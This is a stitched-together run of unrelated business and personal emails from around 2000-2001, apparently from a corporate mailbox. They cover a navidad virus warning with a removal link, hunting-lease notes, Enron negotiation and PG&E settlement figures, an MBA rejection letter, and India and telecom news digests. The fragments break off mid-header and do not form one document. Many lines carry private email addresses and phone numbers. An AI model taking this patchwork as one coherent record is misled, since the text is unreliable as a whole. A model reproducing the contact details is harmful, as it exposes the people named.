raw@cpuc.ca.gov; sbs@cpuc.ca.gov; tah@cpuc.ca.gov; vjb@cpuc.ca.gov;
mjaske@energy.state.ca.us; bwood@energy.state.ca.us
Subject: RE: Tom Beach may have sent you a virus

I received the navidad.exe virus through four e-mails from Gwen Soong this
morning.  My firewall rejected the attachments and so advised me.

Bob Gloistein.
Orrick, Herrington & Sutcliffe.

From: Cinderella [mailto:christa@crossborderenergy.com]
Sent: Tuesday, December 12, 2000 10:46 AM
To: skatz@sempratrading.com; kmccrea@sablaw.com; thompson@wrightlaw.com;
John Jimison; sscott3@enron.com; trdill@westernhubs.com;
ghinners@reliantenergy.com; tdickers@westerngas.com;
mark.c.moench@wgp.twc.com; andy.bettwy@swgas.com; johnwalley@swgas.com;
napedersen@jonesday.com; rpetti@ladwp.com; eklinkner@ci.pasadena.ca.us;
slins@ci.glendale.ca.us; bjeider@ci.burbank.ca.us;
roger.pelote@williams.com; porterdk@sce.com; inggm@sce.com; burkee@cts.com;
jleslie@luce.com; gsullivan@sempra.com; jsteffen@iid.com;
haorndorff@aeraenergy.com; kbhensman@aeraenergy.com;
askaff@energy-law-group.com; pjpowerlaw@aol.com; tomb@crossborderenergy.com;
jweil@aglet.org; dcarroll@dbsr.com; ed@clfp.com; iep@iepa.com;
lmh@eslawfirm.com; jtachera@energy.state.ca.us; kmills@cfbf.com;
ron_oechsler@rmiinc.com; alan_reid@pcp.ca; rfoss@coral-energy.com;
tom.roth@et.pge.com; ronknecht@aol.com; furutanj@efawest.navfac.navy.mil;
aod@newsdata.com; rgloistein@orrick.com; salleyoo@dwt.com; rbw@mrwassoc.com;
Subject: Tom Beach may have sent you a virus

Tom Beach received the navidad virus in e-mail yesterday, and it replicated
itself and went out to many (maybe all) of the people who had sent him
e-mail that he had not yet opened (i.e., unopened mail in his Outlook
Express in-box).

Because the OII and peaking rate filings were yesterday, you probably sent
Tom e-mail that he didn't have a chance to look at.  If you have a firewall
system that rejects any e-mail with executable files attached, you're safe.
If you don't, here is the URL with the virus cure:

http://www.fsecure.com/v-descs/navidad.htm
<http://www.fsecure.com/v-descs/navidad.htm>

In Tom's system, I was able to ignore the error message about the machine
not being able to find "winsvrc.exe," open his Internet browser, and
download the virus repair file from this Web site.  It's a relatively easy
fix once that's done.

I'm terribly sorry about this.  Let me know if I can be of further
assistance.

Christa Goldblatt
Office Manager
Crossborder Energy
christag@crossborderenergy.com <mailto:christag@crossborderenergy.com>
510-649-9790
Every revolution evaporates and leaves behind only the slime of a new
bureaucracy. -- Franz Kafka

Deer All:

Keith, great looking buck! Chris, I can't believe you passed that deer up. 
Very generous.

Chad shot a nice 10 point. Very impressive hunt. He hunted boneyard in the 
morning, then hopped the fence into the robertson pasture and rattled the 
deer withing 10 yards or so and managed to connect on a running shot as the 
deer bolted away.

I fed my Python a gobbler at LoneStar. Then shot a solid schlocho at the 
Hole sunday morning.

Pictures forthcoming.

Joe's beginner's honeymoon has come to an end. He saw nothing decent 
everywhere he went.

Brian saw an impressive young 9 pt at booger. Jim videotaped it the next 
morning. 21" wide or so, short tines. Very tempting deer, but all agreed 
that it was 4.5 and should go another year.

Dogs could not find Jim's deer. Dogs headed from last blood due south to 
fence at highway.

Feeders are all in good shape, except Boneyard. It is running at 7 and 4:30. 
But weak. Chris indicated it needed a bigger battery. We considered putting 
a magnum on it, but if all it needs is a new battery, we'll leave it to you. 
We should get it running well, lots of deer in that area. One good schlocho 
and a bladed spike that needs to be shot. I put a new battery in Lonestar 
and we filled it up. Booger topped off with motor run time increased. 30-30 
was empty. We filled it up. Pig filled up an run time increased. We have 
lots of corn, so if a feeder is not dropping lots of corn, turn up the spin 
time and keep em full. Dropping extra corn also worked well at mesquite and 
showtime..
Mertz will feed protien next week. I consulted with Chris and houston boys 
openning weekend regarding mertz offer to let us buy extra protien this 
fall, since he had met the quota. We agreed to see what he would feed but 
cap it at $500, spread across the board.

Looks like Houston boys will be retruning December 15th weekend and closing 
weekend. I'll be bringing Henry on next trip and think it would be great if 
Keitha nd boys would be there too.

Hope Keith and Jim can make it back as soon as possible. We winterized 
trailer on way out. Keg almost empty.

e.

> From: McCarthy, Jane J
> Sent: Wednesday, 25 October 2000 16:55
> To: 'vkaminski@aol.com'
> Subject: notes for VAR course
>
>
> I attended your VAR course in Sydney in July, but when I went back to look 
at the notes recently I found that I am missing some sections (e.g. Optimal 
techniques for measuring VAR, Using Monte Carlo techniques to accurately 
calculate VAR, Evaluating the impact of volatility and extreme values on 
VAR). Would you be able to send me a copy of your notes, as I am about to 
embark on a VAR modelling exercise and I am sure they would be very useful.
>
> regards,
> Jane McCarthy
> Manager Market Risk
> BHP Co. Pty Ltd.
> Lvl. 45, 600 Bourke Street
> Melbourne, VIC 3000
> AUSTRALIA
>
> Ph:  613 9 609 3860
> Fax:  613 9 609 3861
> email:  mccarthy.jane.j@bhp.com.au
>
>
>
EOM

NOTICE - This message contains information intended only for the use of the 
addressee named above.  It may also be confidential and/or privileged.  If 
you are not the intended recipient of this message you are hereby notified 
that you must not disseminate, copy or take any action in reliance on it.  If 
you have received this message in error please notify postmaster@bhp.com.

Here is the turbine availability sheet.  I confirmed that there are 3 GE 7 
FA's.
Ben
3-7998

Mike Driscoll will be taking care of the curves and any pricing requests.  Have a great weekend!!!!

FYI - some of this CTC negotiation has been taking place with Dasovich and Tribolet.  I think the clean commercial deal for Ken to mention to Bryson is a 2-3 yr gas swap (they are short socal border and malin because some of their qf contracts are indexed to nat gas).  

Sent:	Wednesday, October 17, 2001 12:04 PM
Subject:	Thoughts on PX Credit Claim with Edison

Chris:
A little background (recaps briefly what we discussed on the phone on Monday):
A few weeks ago, we (government affairs) approached John Fielder of Edison to see if there was any chance that Edison might be willing to reach a deal on our Negative CTC/PX credit claim.
After discussions with RAC, we offered to take 90 cents on the dollar for amounts owed through March 1. (There's general agreement with Edison on what the number is up to January 17, which would only leave 1.17--3.1 in dispute.  But recall there's still the FERC refund issue which complicates the issue.) 
We asked for 10% down immediately and a binding agreement that Edison would pay us by a date certain sometime in the next quarter.  
In exchange, we said we'd drop our law suits at the PUC. In one suit, we're asking the PUC to have Edison pay us. In the other, we've stopped paying Edison for transportation costs until the PUC gets Edison to pay us.  We're depositing what we owe Edison in an escrow account pending resolution.
We also agreed to work with Edison to get the PUC to end the whole residual CTC/PX credit framework retroactive to March 1, 2001.  (That would reduce Edison's exposure to negative CTC and our exposure to positive CTC.)
For his part, Fielder was looking (in addition) for 1) an agreement on our part to forebear, and 2) an agreement that everyone, including DA customers, should pay what they rightly owe for a) Edison's undercollection, b) the bonds, and c) DWR's stranded contract costs.
We never resumed the talks in earnest because soon after our talk, Edison struck its bailout deal with the PUC. 

Best,
Jeff

From: Perry, Jon [mailto:JPerry@SPPC.com]
Sent: Tuesday, October 02, 2001 9:07 AM
Subject: FW: FERC to adjust Caps?????????

> From:	Smart, Mike 
> Sent:	Tuesday, October 02, 2001 8:57 AM
> To:	Perry, Jon; Hunter, Charles; Joyce, Jim; Berg, Craig
> Subject:	FERC to adjust Caps?????????
> Importance:	High
> 
> Could this end up changing the Western Region FERC Price mitigation plan
> (i.e. Price Caps)?
> 
> 
> *    FERC CHIEF WOOD TO FOCUS ATTENTION ON PACIFIC NW NEEDS
>      FERC Chairman Pat Wood said the agency would focus on the 
> Pacific Northwest, Energy Daily reported. While California 
> worried about summer blackouts last year, states like Washington 
> and Idaho could face shortages in the future because of a lack of 
> rain for hydropower coupled with winter peak electricity needs.
>      In addition to making the Northwest the first stop a tour of 
> the power grid regions, Wood said at a meeting sponsored by 
> Energy Daily and the U.S. Energy Association changes would be 
> made to a June price-mitigation plan governing the area. Wood 
> said he is ambivalent about regulations that give FERC power in 
> siting decisions and said pending legislation, if passed, would 
> make transfer of transmission assets to RTOs tax free (Energy 
> Daily, Oct. 1, http://www.eenews.net ).
> 
> 
> Michael R. Smart  P.E.
> Vice President - Resource Management
> Sierra Pacific Resources
> P.O. Box 10100
> Reno, Nevada 89520-0024
> Phone: 775-834-5880
> Fax: 775-834-5889
> Email: msmart@sppc.com 
> 

> Interesting....
>
> From:  Brown, Michelle
> Sent: Wednesday, March 21, 2001 1:42 PM
> To: PGE CPUC Meeting List
> Subject: CPUC Announces Appointment of Gary Cohen
>
> Attached is a CPUC news release announcing Gary M. Cohen as new General
> Counsel.
>
> Michelle Brown
> Regulatory Relations Dept.
> 973-4662
>
>  <<NewsRelease.Cohen.doc>>

 - NewsRelease.Cohen.doc

Tana,

Please send a BETA and a Fee Agreement to GFI Group (see attached card).  
they will get US Gas and Power for $250 k.

---------------------- Forwarded by Scott Neal/HOU/ECT on 09/11/2000 03:05 PM 

"Stehr, Paul M" <Paul.Stehr@standardregister.com> on 09/07/2000 08:25:12 AM
To: "Benninger, David" <david_m_benninger@reliantenergy.com>, "Butch Butcher 
(E-mail)" <butch@watsonmoving.com>, "Delozier, S. Don" 
<Delozier.S-Don@usa.conoco.com>, "Ed Fallick (E-mail)" <efalldr@aol.com>, 
Jimmy Daggett <Jimmy.Daggett@ST-Systems.com>, "Joe Hayes (E-mail)" 
<joe_a_hays@oxy.com>, John Haveman <jhaveman@danielind.com>, "Johnny Byrd 
(E-mail)" <jbyrd@byrdinterior.com>, "Lew TenHave (E-mail)" 
<letenhave@freewwweb.com>, "Mark Pate (E-mail)" <markjpate@hotmail.com>, 
"Mark Suchman (E-mail)" <marks@stes.com>, "Rod Wiggins (E-mail)" 
<rkgbh@aol.com>, "Ron Hancock (E-mail)" <rhancock@nmhn-law.com>, "Scott Neal 
(E-mail)" <sneal@enron.com>, "Troy Utz (E-mail)" <troy_utz@ml.com>
cc:  
Subject: Renegade Indian Guide Roster and assignments

Yat-teh-hey,

The attached two files are the monthly activity list and an updated tribe
roster.

 <<Indian Guides Activities 2000-2001.doc>>   <<Indian Guides Roster.xls>>

These files are in Microsoft Word and Excel.   Let me know if you are not
able to open these files.

Lew Tenhave and Ed Fallick,

The two of you are responsible for the September activity. (Stratford High
School Football Game)  I am not sure but you may also be the "Co-Chief's"
for 2001-2002, I will have to check the pow-wow minutes.

What-the-heck

Paul M. Stehr
Regional Sales Mgr. - Southwestern Region/DSG
Standard Register
Phone: 713-585-3807

 - Indian Guides Activities 2000-2001.doc
 - Indian Guides Roster.xls

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Mon Jun 4, 2001 2:26 pm                                       From: "Joseph G.Galea" <ga

To: <JONCH@magic.pmh.on.ca>
From: "Joseph G.Galea" <galea@mcgown.com>
Date: Mon, 4 Jun 2001 14:03:59 -0400

Chris Headley Lamarr:

#1: Arnott's confirmed as a go for tonight

#2: Yes, I've seen the commercial and your reference is HILARIOUS, perhaps
your best quip ever! The imagery hit me hard and I'm still literally
laughing!!!!!!!!!

Joe.

From: <JONCH@magic.pmh.on.ca>
To: <galea@mcgown.com>
Sent: Monday, June 04, 2001 2:51 PM

>
> Hey Joe,
>
> Too bad re. Arnott.  BOO HOO!!!
>
> Chris
>
> PS. Have you seen that comercial yet for Microsoft XP yet?  The one where
the guy at the
> desk is racing thru the desert?  Every time I see it, all I can think is
MMMMMACKERRRR!!
> I laugh every time I see it.
>

--------------------------------------------------------------------------------
Return-Path: <"Joseph G.Galea" <galea@mcgown.com>>
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Message-ID: <005c01c0ed20$bb795000$0200a8c0@workgroup>
References: <106041851.MOX259601@magic.pmh.on.ca>
Date:  Mon, 4 Jun 2001 14:03:59 -0400

Brent - I didn't work on the deal but I think it was a deal we did with a 
Florida company, maybe Florida Power likely in 96.  Melissa Murphy or Kim 
Theriot may be able to help locate.  Let me know if I can do anythin else.

Greetings, Mr. Rogers

I wish to inform you that your fall 2000 application for admission to the
TEXASMBA in The Graduate School of Business at The University of Texas at
Austin has now completed its formal review.  I regret your application has
not been successful, and that you are not being extended an offer of
admission.

The competitiveness of this year's applicant pool has made it an extremely
challenging quest for each of our 3,000 applicants.  Unfortunately, there
are only 420 seats available for the new class to fill.

I do wish to thank you for your interest in the TEXASMBA, and I wish you the
very best in both your personal and professional aspirations for the future.

**********************************
Dr. Carl H. Harris
Director for Admission, MBA Programs
The TEXAS Graduate School of Business

most bullish thing at this point is moving closer to everyone's
psychological $4 price target and that everybody and their dog is still
short.  next sellers need to be from producer community.  saw a little this
week with williams hedging the barrett transaction but wouldnt say thats
indicative of the rest of the e&p community.  short covering rallies will
get more common here.  velocity of move down has slowed significantly for
good (except maybe in bid week).  my concern is if we go to $4 and people
want to cover some shorts, who's selling it to them?  might feel a lot like
it did when we were trying to break $5.

Dear USIBC Members and affiliates, 
We are in the process of improving the content and usability of our Daily 
News Updates.? If you would prefer not to receive these messages in the 
future, please respond to this e-mail address with the word UNSUBSCRIBE in 
the text, and your name will be immediately removed from this list.? Comments 
and suggestions as we continue our improvement process may also be sent to 
this address.

==================================== 
+ The Reserve Bank of India (RBI) has forecasted slower-than-expected 
economic growth and left lending rates unchanged in its half-yearly report. 

+ International rating agency Standard & Poor's downgraded the rating outlook 
on India's long-term foreign currency credit from "positive" to "stable".

+ Allstate International has decided to withdraw from its proposed life 
insurance venture with Dabur India. 

USIBC Daily News

October 11, 2000

Agro/Patents/Pharma
October 11: The Indian government is expected to clear trading in sugar 
futures by March 2001. Financial Express 
http://www.financialexpress.com/fe/daily/20001011/fco11050.html

October 11: India could emerge as a leading supplier of fine chemicals to the 
global market with locally available raw material and production facilities 
according to Mr. Derrick Samuel, Managing Director, Colgate Palmolive India. 
He said this while inaugurating the expanded facility of Kumar Organic 
Products in Bangalore. Kumar Organic Products is the sole supplier of 
Triclosan, an anti-bacterial agent for Colgate's entire oral care product 
range. The Hindu <http://www.hinduonline.com/>

? 

Broadcasting/Entertainment  
October 11: Star TV is targeting advertising sales revenue of Rs 550 crore 
($119.3 million) and a subscription income of Rs 77 crore ($16.7 million) in 
the financial year ending in June 2001. The Start TV network expects to earn 
total revenues of Rs 700 crore ($152 million) in this year, almost double of 
last year's revenues. The total investment in Star TV's India operations will 
increase to $300 million by the end of 2001. Financial Express <
http://www.financialexpress.com/> 

October 11: US-based TeleCruz Technologies announced a $10 million investment 
in research and development related to software/hardware at its new facility 
in Hyderabad. It also announced a strategic alliance with Videocon 
International to provide technology and software for manufacturing Internet 
TVs and set top boxes in India. The Economic Times 
http://www.economictimes.com/today/11comp05.htm

? 
Communications  
October 11: UT Starcom, a U.S.-based telecom company, has entered into an 
agreement with Himachal Futuristic Communications Ltd. (HFCL) to manufacture 
broadband access equipment in India. The joint venture will also market 
broadband wireless equipment in India and abroad.?? The Economic Times 
http://www.economictimes.com/today/11comp09.htm

? 

Economic/General News
October 11: The Reserve Bank of India (RBI) has forecasted 
slower-than-expected economic growth and left lending rates unchanged in its 
half-yearly report. The RBI governor said economic growth in the fiscal year 
ending March 2001 was likely to be closer to 6% instead of earlier 
projections of up to 7%. He said the slowdown was partly because of the 
floods that devastated sections of India -- most recently in West Bengal. 
Inflation also rose by more than 0.5%, a trend attributed to the substantial 
rises in international oil prices in the past year. BBC World Service <
http://news.bbc.co.uk/hi/english/world/south_asia/newsid_965000/965373.stm>

October 11: International rating agency Standard & Poor's downgraded its 
outlook on India's long-term foreign currency credit rating from "positive" 
to "stable". Standard & Poor had earlier upgraded India's rating to "stable" 
in March 2000. The rating agency expressed concern over the impact of higher 
oil prices on the government's fiscal deficit, given the system of 
subsidizing certain petroleum products. In addition, Moody's may also review 
their "positive" rating soon. The Economic Times <
http://www.economictimes.com/>

October 11: India's tax receipts jumped 19.21 percent year-on-year in 
April-September 2000 powered by a surge in direct tax collection, government 
data showed on Wednesday.? Tax revenues, particularly direct taxes, have 
risen largely because of improvement in the tax collection and administration 
structure.? Reuters 
http://www.siliconindia.com/shownewsdata.asp?newsno=5467&newscat=Business

Energy 
October 11: The A.V. Birla group will invest in Dakshin Bharat Energy, an 
LNG-cum-power project at Ennore in Tamil Nadu. Almost two years ago the A.V 
Birla group formed a consortium along with CMS Energy, Unocal, Woodside 
Development and Siemens for setting up a 2.5 million ton LNG based power 
project and a 1,800 mw power project. The consortium also has an agreement 
with Rasgas for supply of LNG for the project. Business Standard? <
http://www.business-standard.com>

Financial: Trade & Investment
October 11: India's marine exports grew 24% during the period from April to 
July this year compared to 7% annual growth last year. This is mainly due to 
increased demand from all major markets including Japan, Europe and US. The 
Economic Times <http://www.economictimes.com/>

October 11: Royal Phillips Electronics NV (Phillips) of Netherlands has 
decided to increase its stake in Phillips India from 51% to 74% through an 
open offer. The Times of India <http://www.timesofindia.com/>

Information Technology
October 11: General Electric has acquired the software division of Citadel 
Healthcare Informatics Ltd. that has developed a full-fledged enterprise 
resource planning (ERP) for healthcare and medical insurance. The Economic 
Times <http://www.economictimes.com/>

? 
Insurance and Finance  
October 11: Allstate International has decided to withdraw from its proposed 
life insurance venture with Dabur India - Dabur-Allstate Alliance India. 
Allstate International withdrew due to a change in its international business 
strategy. Business Standard <http://www.business-standard.com/>

? 
Political/International
October 11: Former Indian Prime Minister P.V.Narasimha Rao was convicted in 
the Jharkhand Mukti Morcha (JMM) bribery case and will file his appeal in the 
superior court. The special court is likely to announce its verdict today. 
The Times Of India <http://www.timesofindia.com/>

Sanctions  

Transportation/Infrastructure
October 11: The second unit of the Suratgarh thermal power plant in Rajasthan 
will be commissioned this week, making it the first super thermal power 
station in the state. The final capacity of the plant is likely to be 1,000 
mw after the installation of four units in two stages by the end of 2002. The 
Hindu Online <http://www.hinduonline.com/>

October 11:? PowerGen Plc, a major UK-based power generation corporation, has 
acquired an additional 13.89% stake in Gujarat PowerGen Energy Corporation 
(GPEC) for $51.5 million. This follows the decision of Siemens Project 
Ventures to sell their stake in GPEC. PowerGen plans to double the capacity 
at GPEC to 1,300 mw from the present 655 mw. Business Standard <
http://www.business-standard.com/>

=
The USIBC Daily News is a free service of the U.S.-India Business Council to 
USIBC Members and affiliates.
USIBC provides Internet links to news stories for informational purposes 
only, and makes no representation
of the accuracy of information posted on other organizations' websites.? To 
add or remove your name from this
list, or with questions or comments, please contact USIBC via e-mail at 
usibc@uschamber.com.  

U.S.-India Business Council
Website: <http://www.usibc.com>  

1615 H Street NW
Washington DC 20062-2000
Phone 202 463 5492
Fax 202 463 3173  

West Coast
477 Ninth Avenue, Suite 107
San Mateo, CA 94402
Phone 650 685 8790 xt. 16
Fax 650 343 2848  

I don't remember who I used .  Let me look and I will get back to you.

Thanks.

From: 	Curry, Wanda  
Sent:	Friday, November 16, 2001 4:37 PM
To:	Dasovich, Jeff; Steffes, James D.
Subject:	RE: PG&E settlement offer

Jim and Jeff,

The P& L numbers represented below includes a reserve of $40 million attributable to the FERC Refund exposure specific to wholesale.   

Thanks,
Wanda

From: 	Tribolet, Michael  
Sent:	Friday, November  16, 2001 3:34 PM
To:	Dasovich, Jeff; Steffes, James D.; Mellencamp, Lisa; Curry, Wanda
Subject:	FW: PG&E settlement offer

Ken Lay called Rick Buy and I up to his office talk about settlement just now.   He would like to settle for liquidity/good news.   Rick Buy is going to discuss with Whalley.

Sent:	Friday, November 16, 2001 3:30 PM
To:	Buy, Rick
Subject:	PG&E settlement offer

Below are the proposed discounts we discussed with Ken Lay this afternoon:

USD millions:       
                          Cash from 85       P+L with 85 cent 
             Discount   cent sale of claim    sale of claim

Enron      $ 85.0 (17%)       $361.8             +$129.1      
PG&E       $237.0 (46%)       $232.6             -$  0.1 
Midpoint   $161.0 (32%)       $297.2             +$ 64.5

If the midpoint (value between PG&E and Enron settlement offers) is acceptable from a liquidity and P+L standpoint, propose countering at a discount of $123 million (move half way to midpoint) to provoke a counter offer.   Intent is to settle at midpoint discount of $161 million.  The Excel file is attached.   

 << File: m011116.xls >> 

Paul, I was going through some of my notes.. did you ever get anywhere with Piper Energy in Calgary... Boyd Macdonald is the contact there. 

BT 

=3D=3D=3D=3D

TR's State NewsWire

. . .daily intelligence on communications
industry news and policy from the editors
of Telecommunications Reports. . .

*Table of Contents*
June 6, 2001

STATES
PENNSYLVANIA -- PUC conditionally supports Verizon interLATA bid
CONNECTICUT -- SNET challenges city's telecom certification
TENNESSEE -- BellSouth to ask TRA to support market-entry bid
soon
MICHIGAN -- PSC adopts '616' area code 'split'
NEW YORK -- Nassau County restricts use of wireless phones
WEST VIRGINIA -- Verizon to appeal $18M access-rate reduction
CALIFORNIA -- Wood proposes 'anticramming' rules
MISSOURI -- House passes rights-of-way bill
GEORGIA -- WorldCom says FX calls subject to 'recip comp'
CALIFORNIA -- ALJ suggests requiring Pacific Bell to permit
intraLATA toll presubscription
CALIFORNIA -- PUC extends deadline for Pacific Bell interLATA
filing
IOWA -- Board mulls revoking LTDS's certificate
NEBRASKA -- PSC to discuss implementing '511'
NEBRASKA -- PSC seeks copies of MDU contracts
CONNECTICUT -- DPUC expands Lifeline assistance in tribal areas
MICHIGAN -- Customers can bring complaints without counsel
OREGON -- Group criticizes AT&T price hike
MINNESOTA -- MP Telecom upgrades network
MASSACHUSETTS -- CTC activates Springfield fiber network
GEORGIA -- AGL networks to install fiber in Atlanta

The Public Utility Commission today lent its support to Verizon
Pennsylvania, Inc.'s application to provide in-region interLATA
(local access and transport area) services, subject to several
conditions to ensure market competition.  Today's decision
concludes a formal investigation that began when Verizon
requested the commission's support in January.  (1/9/01)

In a 3-2 vote, the PUC told Verizon that it must agree to a
permanent assurance plan with "self-executing" remedies based on
the New York model already accepted by the FCC and to increased
penalties for failure to meet performance standards.  Verizon
said that it will accept these conditions and that it plans to
file its interLATA bid with the FCC "shortly."

Commissioners Nora Mead Brownell and Terrance J. Fitzpatrick
dissented.  Commissioner Brownell said, "I cannot, in good
conscience, affirm that these markets are open as envisioned
under the [federal Telecommunications Act of 1996]."  Both
dissenting commissioners listed several areas in which Verizon
had failed to meet the FCC requirements to determine that local
markets are open to competition.

A WorldCom, Inc., spokesman told TR, "We agree with the
dissenters and hope the FCC will recognize that problems still
exist and force Verizon to fix them prior to allowing them to
offer long distance."

Once Verizon files its market-entry bid with the FCC, the PUC
will present its recommendation.  Section 271 of the Act requires
the FCC to consult with the U.S. Department of Justice and
relevant state regulators before ruling on such applications.
(Docket no. M-00001435, Consultative Report on Application of
Verizon Pennsylvania Inc., for FCC Authorization to Provide In-
Region, InterLATA Service in Pennsylvania)

Southern New England Telecommunications (SNET) has filed an
appeal in Superior Court (New Britain) challenging the Department
of Public Utility Control's decision to grant the city of Groton
a certificate to provide telecom access services.  (Docket no.
00-03-12)

SNET argues that Groton "is not legally empowered to offer
telecommunications services to those who are not inhabitants of
its electric service area" under Connecticut General Statutes =0F5
7-233i.  Groton's customers as defined in its application would
all be noninhabitants, SNET said.

In its April 11 decision, the DPUC agreed with Groton's argument
that "[the statute] has no language prohibiting a municipality
from offering wholesale telecommunications service."

soon

BellSouth Telecommunications, Inc., has notified the Regulatory
Authority that it plans to request support for its bid to enter
the Tennessee interLATA (local access and transport area) market
"by the end of July."  Compliance with the 14-point "competitive
checklist" of section 271 of the federal Telecommunications Act
is a prerequisite for FCC authorization to provide in-region
interLATA service.  The FCC must consult with the U.S. Department
of Justice and relevant state regulators before ruling on the
applications.

BellSouth asked the TRA to schedule hearings on its application
for the first week of November.  BellSouth asked the TRA to
support its section 271 bid in 1997, but the company withdrew the
request before the TRA could decide whether to endorse it, a TRA
staff member told TR.

The Public Service Commission yesterday approved a geographic
"split" to relieve number exhaustion in the "616" area code.

A north/south geographic split will be implemented with a
dividing line that follows the northern boundaries of Saugatuck,
Hamilton, Hopkins, Wayland, Middleville, Hastings, and Woodland
rate centers.  Customers in and to the south of these rate
centers will receive a new area code.  Customers to the north of
the rate centers will retain 616.

Permissive dialing will begin by July 13, 2002, and mandatory
dialing will begin Feb. 15, 2003.  Wireless carriers will have an
extended permissive dialing period through Feb. 15, 2004.  (Case
no. U-12850)

Nassau County today enacted an ordinance requiring the use of
hands-free devices when operating wireless phones while driving.
"Although mobile phones provide convenience for our busy lives,
their use must conform with the need for public safety," Nassau
County Executive Thomas Gulotta said.

Emergency calls to police, fire, ambulance, or health care
providers are exempt from the requirement.  The ordinance
authorizes the police department to fine up to $100 per
violation, a Nassau County spokesperson told TR.  The ordinance
takes effect July 1.

Verizon West Virginia, Inc., yesterday said it plans to ask the
Public Service Commission to reconsider an order requiring
Verizon to reduce its access rates by $18 million over three
years.  The PSC's order addressed an AT&T Corp. complaint.  While
the reduction is smaller than the $27.6 million suggested by
AT&T, it's larger than the $6 million cut Verizon proposed.

Verizon said that, if given the chance, it would demonstrate that
the PSC was "misguided in seeking to mirror in-state and
interstate access rates."  The telco said the order gives AT&T
and other long distance companies a free ride on its network at
the expense of consumers.

The PSC ordered the access charge reductions to be passed through
to West Virginia toll customers.  Verizon responded, "People
shouldn't hold their breath waiting for AT&T to pass along any
savings."  (Case no. 00-0318-T-C, AT&T Communications of West
Virginia, Inc. v. Bell Atlantic-West Virginia, Inc.)

Public Utilities Commissioner Charles Wood has proposed rules to
regulate the inclusion of noncommunications charges on phone
bills.  Existing law, which authorizes only communications-
related charges on phone bills, is scheduled to expire July 1.
(1/5/01)  The proposed rules are designed to prevent "cramming,"
which is the placement of unauthorized charges on phone bills.

The proposed rules require telecom companies to obtain a
customer's written consent before including noncommunications
charges on phone bills.  Customers may revoke their consent at
any time without charge and may identify a dollar maximum per
charge and per billing cycle on noncommunications charges.
Telecom companies may not disconnect or threaten to disconnect
basic local phone service for nonpayment of noncommunications
charges.

Under the proposed rules, telecom companies must take
"reasonable" precautions to screen vendors and billing agents
before agreeing to provide noncommunications billing services for
them.  Noncommunications charges must be identified in a separate
section of phone bills.  Comments are due June 20.  (Rulemaking
00-02-004)

The House has passed a bill restricting local governments'
authority to regulate public rights-of-way.  The measure now goes
to Gov. Bob Holden (D.).  Southwestern Bell Telephone Co. and
competitive local exchange carriers support the bill, but the
Missouri Municipal League "fought the bill tooth and nail," a
league spokesperson told TR.

SB 369 would prohibit local governments from requiring telecom
companies to obtain a franchise to use rights-of-way but would
grandfather franchise agreements in effect May 1.  The bill would
prohibit rights-of-way rental fees but would authorize local
governments to impose rights-of-way permit fees, which would be
limited to "actual, substantiated costs reasonably incurred" in
managing the public rights-of-way.

Local governments would have to process rights-of-way permit
applications within 31 days after receiving a complete
application.  Telecom and cable TV companies would be authorized
to identify rights-of-way permit fees on customer bills.

WorldCom, Inc., has asked the Public Service Commission to
determine that calls originated by BellSouth Telecommunications,
Inc.'s customers to competitive local exchange carriers' foreign-
exchange (FX) customers should be considered local and therefore
subject to reciprocal compensation.  Proper treatment of FX
traffic is required to meet item 13 (reciprocal compensation) of
section 271 of the federal Telecommunications Act of 1996's 14-
point "competitive checklist," MCI said.

Treating CLECs' FX traffic as long distance provides "significant
competitive advantages" to BellSouth because it permits BellSouth
to assess access charges on local calls and "shields BellSouth's
local FX service from competition," WorldCom said.  (Docket no.
6863-U)

Administrative Law Judge Karen Jones has recommended that the
Public Utilities Commission require Pacific Bell to permit
MCImetro Access Transmission Services LLC's customers to
presubscribe to Pacific Bell's intraLATA (local access and
transport area) long distance service.  The recommendation was
made in a draft arbitrator's report about the companies'
interconnection agreement.

Pacific Bell said the requirement would be confusing to customers
and would require the company to identify a separate billing
channel or generate a bill solely for intraLATA long distance
service.

"It is blatantly discriminatory for Pacific to refuse to provide
intraLATA toll service to MCI's local service customers," Ms.
Jones said.  She said, "Pacific's arguments of 'customer
confusion' and 'billing' concerns do not have merit."  "Customers
could receive three different bills for the three different
services, and other carriers cope with billing for only one of
those three services.  There is no reason that Pacific should not
be able to provide a bill which includes only intraLATA
services."  Comments on the draft arbitrator's report are due
June 20.  (Application 01-01-010)

filing

Public Utilities Commissioner Geoffrey Brown has extended Pacific
Bell's deadline for filing information demonstrating its
compliance with the interLATA (local access and transport area)
market-entry requirements of section 709.2 of California code.
The section requires the PUC to find that permitting Pacific Bell
to enter the California interLATA market doesn't harm the long
distance market substantially.  The commission also must find
that Pacific Bell's entry is based on fully open local exchange
access and that the company isn't engaging in anticompetitive
behavior or improper cross-subsidization.  (5/7/01)

Pacific Bell asked the PUC to extend the deadline from June 4
until "mid-June," when the company plans to file its section 271
application with the PUC.  Mr. Brown granted the company's
request and said he would establish a comment filing schedule
after Pacific has filed its section 709.2 assessment and section
271 application.  (Rulemaking nos. 93-04-003 and 95-04-043 and
Investigation nos. 93-04-002 and 95-04-044)

The Utilities Board has ordered LTDS Corp. to demonstrate why its
operating certificate shouldn't be revoked.  The board is
concerned that "actions on the part of LTDS do not appear to be
the actions of a bona fide competitive local exchange carrier."

The board said there appears to be no voice traffic from or to an
LTDS customer in any exchange other than Fairfield.  The company
ordered and then cancelled orders for voice trunks in the Pella,
Chariton, and Centerville exchanges.  It ordered trunks in the
Grinnell and Sigourney exchanges, although it has no assigned
"NXX" codes there.  The company's tariff also fails to include a
residential rate.  It was deleted in a Jan. 19 tariff revision,
the board said.

It said state law obligates each local exchange utility to serve
all eligible customers within the utility's service territory,
unless explicitly excepted from the requirement by the board.
(Iowa Code section 476.29(5))

LTDS must file direct testimony by June 22.  Petitions to
intervene are due July 3.  Additional comments from the consumer
advocate and intervenors are due July 17.  Prepared rebuttal
testimony from LTDS will be due Aug. 3.  A hearing is scheduled
for Aug. 14.  (Docket no. TCU-01-13 - In Re: LTDS Corporation)

The Public Service Commission has scheduled an Aug. 15 workshop
to address implementation of the "511" dialing code as an
Advanced Traveler Weather Information System (ATWIS).  It will
provide route-specific weather forecasts and road condition
reports to callers based on specific location information they
provide.

The PSC approved implementation of 511 for the ATWIS May 23.  The
commission directed the Department of Roads and the Nebraska
State Patrol to begin deploying the ATWIS.  (Application no. C-
2506/PI-48 - In the Matter of the Application of the Commission,
on its own motion, to seek comment on the establishment and
implementation of '511' as a statewide three-digit calling number
